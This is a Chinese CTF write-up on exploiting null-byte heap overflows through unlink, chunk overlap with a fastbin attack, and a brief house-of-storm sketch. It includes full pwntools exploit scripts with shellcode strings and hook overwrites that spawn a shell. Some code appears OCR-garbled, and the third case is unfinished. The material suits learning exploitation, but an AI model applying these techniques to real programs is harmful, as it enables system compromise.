

null-byte-overflow我所知道的三种利用方法

case 1

unlink

最简单的null-byte-overflow的利用方法

题目参考 安洵杯babyheap

```
yan@ubuntu:~/Desktop/pwn/anxunbei$ checksec pwn1
[*] '/home/yan/Desktop/pwn/anxunbei/pwn1'
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      Canary found
  NX:         NX enabled
  PIE:        PIE enabled
```

首先看一下保护全开

```

init(*(_QWORD *)&argc, argv, envp);
banner();
while ( 1 )
{
    menu();
    v3 = get_int();
    switch ( v3 )
    {
        case 1:
            add_note();
            break;
        case 2:
            delete_note();
            break;
        case 3:
            puts("None!");
            break;
        case 4:
            edit_note();
            break;
        default:
            puts("No such choices!");
            break;
    }
}
}

```

没有show功能

```

1 unsigned __int64 add_note()
2 {
3     int v0; // ebx
4     int v1; // ebx
5     size_t size; // [rsp+0h] [rbp-20h]
6     unsigned __int64 v4; // [rsp+8h] [rbp-18h]
7
8     v4 = __readfsqword(0x28u);
9     printf("Enter the index you want to create (0-10):");
0     __isoc99_scanf("%d", (char *)&size + 4);
1     if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 )
2     {
3         if ( counts > 0xAu )
4         {
5             puts("full!");
6             exit(0);
7         }
8         puts("Enter a size:");
9         __isoc99_scanf("%d", &size);
0         if ( key == 43 )
1         {
2             puts("Enter the content: ");
3             v0 = HIDWORD(size);
4             *((_QWORD *)&note + 2 * v0) = malloc((unsigned int)size);
5             *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
6             if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
7             {
8                 fwrite("error", 1uLL, 5uLL, stderr);
9                 exit(0);
0             }
1         }
2         else

```

add函数申请Chunk时ptr放在Note,由于pie enabled的原因, note地址会随机, 但相对于text_base的地址是不变的

```

1 size_t __fastcall get_input(__int64 a1, int a2)
2 {
3     size_t result; // rax
4     signed int v3; // [rsp+10h] [rbp-10h]
5     _BYTE *v4; // [rsp+18h] [rbp-8h]
6
7     v3 = 0;
8     while ( 1 )
9     {
10         v4 = (_BYTE *)(v3 + a1);
11         result = fread(v4, 1uLL, 1uLL, stdin);
12         if ( (signed int)result <= 0 )
13             break;
14         if ( *v4 == 10 )
15         {
16             if ( v3 )
17             {
18                 result = v3 + a1;
19                 *v4 = 0;
20                 return result;
21             }
22         }
23         else
24         {
25             result = (unsigned int)++v3;
26             if ( a2 + 1 <= (unsigned int)v3 )
27                 return result;
28         }
29     }
30     return result;
31 }

```

edit时有一个显然的Null的溢出，可以用来更改size

```

1 unsigned __int64 banner()
2 {
3     char format; // [rsp+Ch] [rbp-14h]
4     unsigned __int64 v2; // [rsp+18h] [rbp-8h]
5
6     v2 = __readfsqword(0x28u);
7     puts("Welcome to note management system!");
8     printf("Enter your name: ");
9     __isoc99_scanf("%s", &format);
10    printf("Hello, ", &format);
11    printf(&format);
12    puts("\n-----");
13    return __readfsqword(0x28u) ^ v2;
14 }

```

存在格式化字符串漏洞，看一下栈上有啥

```

0x7fffffffde78 → 0x7fffffff7a2d830 (__libc_start_main+240)
0x7fffffffde80 → 0x7fffffffdf58 → 0x7fffffffe2cf ← '/'

0x7fffffffde90 ← 0x1f7b99608
0x7fffffffde98 → 0x5555555516a (main) ← push rbp
0x7fffffffdea0 ← 0x0
0x7fffffffdea8 ← 0x286d4fe355da8089
0x7fffffffdeb0 → 0x555555554980 (_start) ← xor ebp,
0x7fffffffdeb8 → 0x7fffffffdf50 ← 0x1
0x7fffffffdec0 ← 0x0

```

可以看到，这里可以利用格式化字符串漏洞来泄露libc和text_base

```

pwndbg> x/40xg 0x55ba789f3000
0x55ba789f3000: 0x0000000000000000 0x00000000000000a1
0x55ba789f3010: 0x0000000000000000 0x0000000000000091
0x55ba789f3020: 0x000055ba78082048 0x000055ba78082050
0x55ba789f3030: 0x2020202020202020 0x2020202020202020
0x55ba789f3040: 0x2020202020202020 0x2020202020202020
0x55ba789f3050: 0x2020202020202020 0x2020202020202020
0x55ba789f3060: 0x2020202020202020 0x2020202020202020
0x55ba789f3070: 0x2020202020202020 0x2020202020202020
0x55ba789f3080: 0x2020202020202020 0x2020202020202020
0x55ba789f3090: 0x2020202020202020 0x2020202020202020
0x55ba789f30a0: 0x0000000000000090 0x0000000000000100
0x55ba789f30b0: 0x00000000000006262 0x0000000000000000
0x55ba789f30c0: 0x0000000000000000 0x0000000000000000

```

这是在布置的fake chunk同时覆盖了size低字节

```

0000000a
[+] note:0x55ba78082060
[DEBUG] Received 0xb9 bytes:
'Done!\n'
'1. add note\n'
'2. delete note\n'

```

```

pwndbg> x/20xg 0x55ba78082060
0x55ba78082060: 0x000055ba78082048      0x0000000000000098

```

可以看到delete后Note已经指向了note-0x18，之后就可以布置上free_hook,然后改为system

```

1 exp:
2 # *_ coding: utf-8 -*-
3
4 # FILO 0x68
5
6 from pwn import *
7 import sys
8 DEBUG=1
9 if DEBUG:
10     context.log_level = 'debug'
11     p=process("./pwn1")
12     libc=ELF("./libc-2.23.so")
13 else:
14     context.log_level = 'debug'
15     p=remote("47.108.135.45", 20025)
16     #libc=ELF("./libc.so.6")
17
18 #-----
19 s = lambda data :p.send(str(data))
20 sa = lambda delim,data :p.sendafter(str(delim), str(data))
21 sl = lambda data :p.sendline(str(data))
22 sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
23 r = lambda numb=4096 :p.recv(numb)
24 ru = lambda delims, drop=True :p.recvuntil(delims, drop)
25 it = lambda :p.interactive()
26 uu32 = lambda data :u32(data.ljust(4, '\0'))
27 uu64 = lambda data :u64(data.ljust(8, '\0'))
28 li = lambda name,x : log.success(name+':'+hex(x))
29

```

```

30 def dbg():
31     gdb.attach(p)
32
33 def dbgc(addr):
34     gdb.attach(p,"b*" + hex(addr) + "\n c")
35 def lg(s,addr):
36     print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
37
38 shellcode_x86="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\xcd\x80"
39 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
40 shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
41 shellcode += "\x0b\xcd\x80"
42
43 sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\xcd\x80"
44 sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\xcd\x80"
45 sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48
\x89\xe7\xb0\x3b\x0f\x05"
46 #https://www.exploit-db.com/shellcodes
47 #-----
48
49
50 sla('name:', '%15$p-%22$ps')
51
52 ru('Hello, ')
53 libc_base= int(r(14),16)
54 ru('-')
55 text_base= int(r(14),16)
56 libc_base=libc_base-libc.sym['__libc_start_main']-240
57 text_base= text_base&0xffffffff000
58 li('libc_base',libc_base)
59 li('text_base',text_base)
60
61 def add(index,size,content):
62     sla(">> ", '1')
63     sla("Enter the index you want to create (0-10):",str(index))
64     sla('Enter a size:\n',str(size))
65     sla("Enter the content: \n",content)
66
67 def dele(index):

```

```
68  sla(">> ", '2')
69  sla("Enter an index:\n", str(index))
70
71  def edit(index, content):
72      sla(">> ", '4')
73      sla("Enter an index:\n", str(index))
74      sla("Enter the content: \n", content)
75
76  free_hook=libc_base+libc.symbols['__free_hook']
77  system=libc_base+libc.symbols['system']
78  li('free_hook', free_hook)
79  li('system', system)
80  add(0, 0x98, 'aa'+'\n')
81  add(1, 0xf8, 'bb'+'\n')
82  add(2, 0x98, '/bin/sh\x00'+'\n')
83  fd=text_base+0x202060-0x18
84  bk=text_base+0x202060-0x10
85  li('note', text_base+0x202060)
86  payload=p64(0)+p64(0x91)+p64(fd)+p64(bk)
87  payload=payload.ljust(0x90)+p64(0x90)+'\x00'
88  #payload=p64(fd)+p64(bk)
89  #payload=payload.ljust(0x90, '\0')+p64(0xa0)+'\x00'
90  #dbg()
91  edit(0, payload)
92  dbg()
93  dele(1)
94
95  dbg()
96  payload=p64(0)*3+p64(free_hook)+p64(0x98)+'\n'
97  edit(0, payload)
98  edit(0, p64(system)+'\n')
99  dele(2)
100 sl('cat flag')
101 it()
102
```


case 2 湖南省赛heap题 overlap ,fastbin attack

overlap可以参考这篇文章中的lctf的题目, 虽然这道题有tcache,但并没有影响overlap的方法

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/#challenge-1-lctf2018-pwn-easy_heap

lctf的题目条件更加苛刻, 在平时做题如果没有这么多限制时, 可以edit来覆盖pre_size

省赛的题目

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     __int64 savedregs; // [rsp+30h] [rbp+0h]
4
5     init();
6     while ( 1 )
7     {
8         menu();
9         getint();
10        switch ( (unsigned int)&savedregs )
11        {
12            case 1u:
13                add();
14                break;
15            case 2u:
16                edit();
17                break;
18            case 3u:
19                show();
20                break;
21            case 4u:
22                delete();
23                break;
24            case 5u:
25                return 0;
26            default:
27                puts("invalid choice");
28                break;
29        }
30    }
31 }
```

```
IDA View-A  Pseudocode-A  Hex View-
1  __int64 edit()
2  {
3      puts("not implement");
4      return 0LL;
5  }
```

没有edit

```
IDA View-A  Pseudocode-A  Hex View-1  Struct
1  _BYTE *__fastcall read_input(__int64 a1, int a2)
2  {
3      _BYTE *result; // rax
4      int i; // [rsp+1Ch] [rbp-4h]
5
6      for ( i = 0; i <= a2; ++i )
7      {
8          read(0, (void *)(i + a1), 1uLL);
9          if ( *(_BYTE *)(i + a1) == 10 )
10             {
11                 *(_BYTE *)(i + a1) = 0;
12                 break;
13             }
14         }
15         result = (_BYTE *)(i - 1LL + a1);
16         *result = 0;
17         return result;
18     }
```

但存在add，可以通过申请fastbin chunk后free掉再次申请来修改size

大致思路为利用Null的溢出来修改掉unsorted bin chunk的size，同时伪造一个pre_size来通过check，最后利用合并机制来制造overlapping从而泄露Libc地址以及进行fastbin

attack

贴一波大佬昊的exp:

```
1  from pwn import *
2
3  import sys
4
5  DEBUG=1
6
7  if DEBUG:
8
9      context.log_level = 'debug'
10
11     p=process("./babyheap")
12
13     libc=ELF("./libc-2.23.so")
14
15 else:
16
17     context.log_level = 'debug'
18
19     p=remote("node3.buuoj.cn", 26279)
20
21     libc=ELF("./libc-2.23.so")
22
23
24
25  #-----
26
27  s = lambda data :p.send(str(data))
28
29  sa = lambda delim,data :p.sendafter(str(delim), str(data))
30
31  sl = lambda data :p.sendline(str(data))
32
33  sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
34
35  r = lambda numb=4096 :p.recv(numb)
36
37  ru = lambda delims, drop=True :p.recvuntil(delims, drop)
```

```
38
39 it = lambda :p.interactive()
40
41 uu32 = lambda data :u32(data.ljust(4, '\0'))
42
43 uu64 = lambda data :u64(data.ljust(8, '\0'))
44
45 li = lambda name,x : log.success(name+':'+hex(x))
46
47
48
49 def dbg():
50
51     gdb.attach(p)
52
53
54
55 def dbgc(addr):
56
57     gdb.attach(p,"b*" + hex(addr) + "\n c")
58
59 def lg(s,addr):
60
61     print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
62
63
64
65 shellcode_x86="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\xcd\x80"
66
67 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
68
69 shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
70
71 shellcode += "\x0b\xcd\x80"
72
73
74
75 sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\xcd\x80"
76
77 sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\xcd\x80"
```

```
78
79 sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\xe\x2f\x2f\x73\x68\x57\x48
\x89\xe7\xb0\x3b\x0f\x05"
80
81 #https://www.exploit-db.com/shellcodes
82
83 #-----
84
85 def add(size,content='\n'):
86
87     sla('>>',1)
88
89     sla('size',size)
90
91     sa('name',content)
92
93
94
95 def delete(idx):
96
97     sla('>>',4)
98
99     sla('index',idx)
100
101
102
103 def show(idx):
104
105     sla('>>',3)
106
107     sla('index',idx)
108
109
110
111 #def edit():
112
113
114
115
116
117 #dbg()
118
```

```
119 add(0x38)#0
120
121 add(0x80)#1
122
123 add(0x80)#2
124
125 add(0x80)#3
126
127 add(0x80,p64(0x200)*10+'\n')#4
128
129 add(0x80)#5
130
131 add(0x20)#6
132
133 #dbg()
134
135 for i in range(1,5):
136
137     delete(i)
138
139 #dbg()
140
141 delete(0)
142
143 add(0x38,'a'*0x39)#0 off_by_one
144
145
146
147 add(0x80)#1
148
149 add(0x30)#2
150
151 add(0x20)#3
152
153 add(0x60)#4
154
155 #dbg()
156
157 add(0x80)#7
158
159 dbg()
160
```

```
161 delete(1)
162
163 dbg()
164
165 delete(5)
166
167 dbg()
168
169 add(0x80)#1
170
171 show(2)
172
173 libc = ru('\x7f',drop = False)[-6:]
174
175 libc_base = uu64(libc) - 0x3c4b78
176
177
178
179 lg('libc',libc_base)
180
181 delete(4)
182
183 #dbg()
184
185 malloc = libc_base + 0x3c4aed
186
187 one = libc_base + 0x4526a
188
189 realloc = libc_base + 0x846c0
190
191 add(0x90,'a'*0x60+p64(0)+p64(0x71)+p64(malloc)+'\n')#4
192
193 add(0x60)#5
194
195 add(0x60,'a'*(0x13-8)+p64(one)+p64(realloc+10)+'\n')#8
196
197 #dbg()
198
199 sla('>>',1)
200
201 sla('size',1)
202
```

```
203
204
205
206
207
208
209 it()
```

case3 RCTF2019 babyheap

overlapping , house of strom (我也不知道是strom还是storm)

参考链接: <http://blog.eonew.cn/archives/1000>

前面泄露Libc方法一样, 唯一不同的是这道题由于malloc函数从而无法使用fastbin attack攻击。

除了题目所给的思路, 目前我还有一种思路不知道能否实现, 通过unsorted Bin attack从而更改M_MXFAST, 然后再次利用fast bin attack进行攻击更改M——MXFAST参考链接: <https://xz.aliyun.com/t/5082> (好像是某个学长写的, raycp)

之后有时间在慢慢补充这一条